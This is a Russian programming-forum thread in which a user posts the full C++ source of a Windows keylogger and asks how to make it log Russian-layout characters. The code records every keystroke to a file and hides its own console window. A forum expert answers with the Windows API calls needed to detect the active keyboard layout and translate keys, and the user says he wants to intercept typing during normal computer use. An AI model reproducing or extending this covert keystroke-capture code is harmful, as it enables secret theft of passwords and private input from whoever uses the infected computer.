Форум программистов, компьютерный форум CyberForum.ru

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
#1

Keylogger не работает с русской раскладкой - C++

25.04.2016, 08:25. Просмотров 370. Ответов 7
Метки нет (Все метки)

Все привет, для примера в инете нашел исходник кейлоггера, на англ все нормально пишет, а вот если стоит русская раскладка то оно записывает у файл англ символ, как можно сделать чтоб код понимал расскладку клавиатуры?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include<iostream>
using namespace std;
#include<windows.h>
#include<winuser.h>
 
int save (int key_stroke, char *file);
void stealth();
int main()
{
    
    stealth();
    char i;
    
    while(1)
    {
            for(i = 8; i <= 190; i++)
            {
                  if (GetAsyncKeyState(i) == -32767)
                  save (i,"probe.txt");
                  }
                  }
                  
                  
    system("PAUSE");
    return 0;
}
/* *********************************************** */
/* *********************************************** */
int save (int key_stroke, char *file)
{
    if ((key_stroke==1)||(key_stroke==2))
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout<<key_stroke<<"\n";
    
    if (key_stroke==8)
     fprintf(OUTPUT_FILE, "%s" , "(backspace)");
    else if (key_stroke == 13)
     fprintf(OUTPUT_FILE, "%s" , "\n");
    else if (key_stroke == 32)
     fprintf(OUTPUT_FILE, "%s" , " ");
    else if (key_stroke == VK_TAB)
     fprintf(OUTPUT_FILE, "%s" , "(tab)");
    else if (key_stroke == VK_SHIFT)
     fprintf(OUTPUT_FILE, "%s" , "(shift)");
    else if (key_stroke == VK_CONTROL)
     fprintf(OUTPUT_FILE, "%s" , "(control)");
    else if (key_stroke == VK_ESCAPE)
     fprintf(OUTPUT_FILE, "%s" , "(escape)"); 
    else if (key_stroke == VK_END)
     fprintf(OUTPUT_FILE, "%s" , "(end)");
    else if (key_stroke == VK_HOME)
     fprintf(OUTPUT_FILE, "%s" , "(home)");  
    else if (key_stroke == VK_LEFT)
     fprintf(OUTPUT_FILE, "%s" , "(left)");
    else if (key_stroke == VK_UP)
     fprintf(OUTPUT_FILE, "%s" , "(up)"); 
    else if (key_stroke == VK_RIGHT)
     fprintf(OUTPUT_FILE, "%s" , "(right)");
    else if (key_stroke == VK_DOWN)
     fprintf(OUTPUT_FILE, "%s" , "(down)");
    else if (key_stroke == 190 || key_stroke == 110)
     fprintf(OUTPUT_FILE, "%s" , ".");
     else
     fprintf(OUTPUT_FILE, "%s" , &key_stroke);   
    fclose(OUTPUT_FILE);
    return 0;
}
/* *********************************************** */
/* *********************************************** */
void stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth,0);
     
}
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
25.04.2016, 08:25     Keylogger не работает с русской раскладкой
Посмотрите здесь:

C++ В тексте найти количество слов, начинающихся и заканчивающихся гласной русской буквой
C++ Вывод даты в русской локализации (Linux)
C++ Для заданного в файле текста проверить, является ли каждая его литера гласной русской буквой
C++ Графический символ ASCII в русской локали (консоль)
C++ Подсчитать число появлений в строке каждой строчной русской буквы - прокомментировать код
C++ Теоретический момент по Keylogger на C++
Проверить наличие в тексте одного из знаков разделителей (“.” , ”?”, ”!”) перед каждой большой русской буквой C++
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
Убежденный
Системный программист
Эксперт С++
15099 / 6794 / 1073
Регистрация: 02.05.2013
Сообщений: 11,105
Завершенные тесты: 1
25.04.2016, 10:17     Keylogger не работает с русской раскладкой #2
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как можно сделать чтоб код понимал расскладку клавиатуры?
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
25.04.2016, 10:23  [ТС]     Keylogger не работает с русской раскладкой #3
Мне и не нужно для концольных, мне нужен перехват при работе компьютера

Добавлено через 52 секунды
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.


Можешь пожалуйста привети пример как получиьть раскладку клавиатуры, а то не совсем понял
Убежденный
Системный программист
Эксперт С++
15099 / 6794 / 1073
Регистрация: 02.05.2013
Сообщений: 11,105
Завершенные тесты: 1
25.04.2016, 11:40     Keylogger не работает с русской раскладкой #4
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как получиьть раскладку клавиатуры
Раскладка клавиатуры устанавливается отдельно для потока.
То есть, тебе нужно сначала узнать поток, обслуживающий активное на данный
момент окно. HWND активного в данный момент окна можно узнать с помощью
GetGUIThreadInfo. Далее нужно по этому HWND узнать ID потока, для этого
делается вызов GetWindowThreadProcessId. Теперь у тебя есть ID потока.
Ну а дальше - GetKeyboardLayout. На выходе у тебя будет идентификатор клавиатурной
раскладки для активного окна. Что делать с ним дальше - зависит от устройства кейлоггера.
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
25.04.2016, 16:01  [ТС]     Keylogger не работает с русской раскладкой #5
Получаеться что эти метлды просто нужно вывзвать в мейне?
notemac
27 / 27 / 4
Регистрация: 13.09.2014
Сообщений: 137
12.12.2016, 23:58     Keylogger не работает с русской раскладкой #6
DELETE
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
13.12.2016, 00:48  [ТС]     Keylogger не работает с русской раскладкой #7
Что DELETE?
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
13.12.2016, 16:27     Keylogger не работает с русской раскладкой
Еще ссылки по теме:

Проверить является ли заданная литера гласной русской буквой C++
C++ Как получить ASCII русской буквы
C++ Генерация случайных чисел, имитация Русской рулетки
Функция strlen() на русской раскладке считает один символ за 2 C++
C++ Ошибка русской локализации?

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
notemac
27 / 27 / 4
Регистрация: 13.09.2014
Сообщений: 137
13.12.2016, 16:27     Keylogger не работает с русской раскладкой #8
Prizrak2016, пример keylogger'a, работающего с русской раскладкой Keylogger, неопределенное поведение, undefined behaviour
Yandex
Объявления
13.12.2016, 16:27     Keylogger не работает с русской раскладкой
Ответ Создать тему
Опции темы

Текущее время: 13:20. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru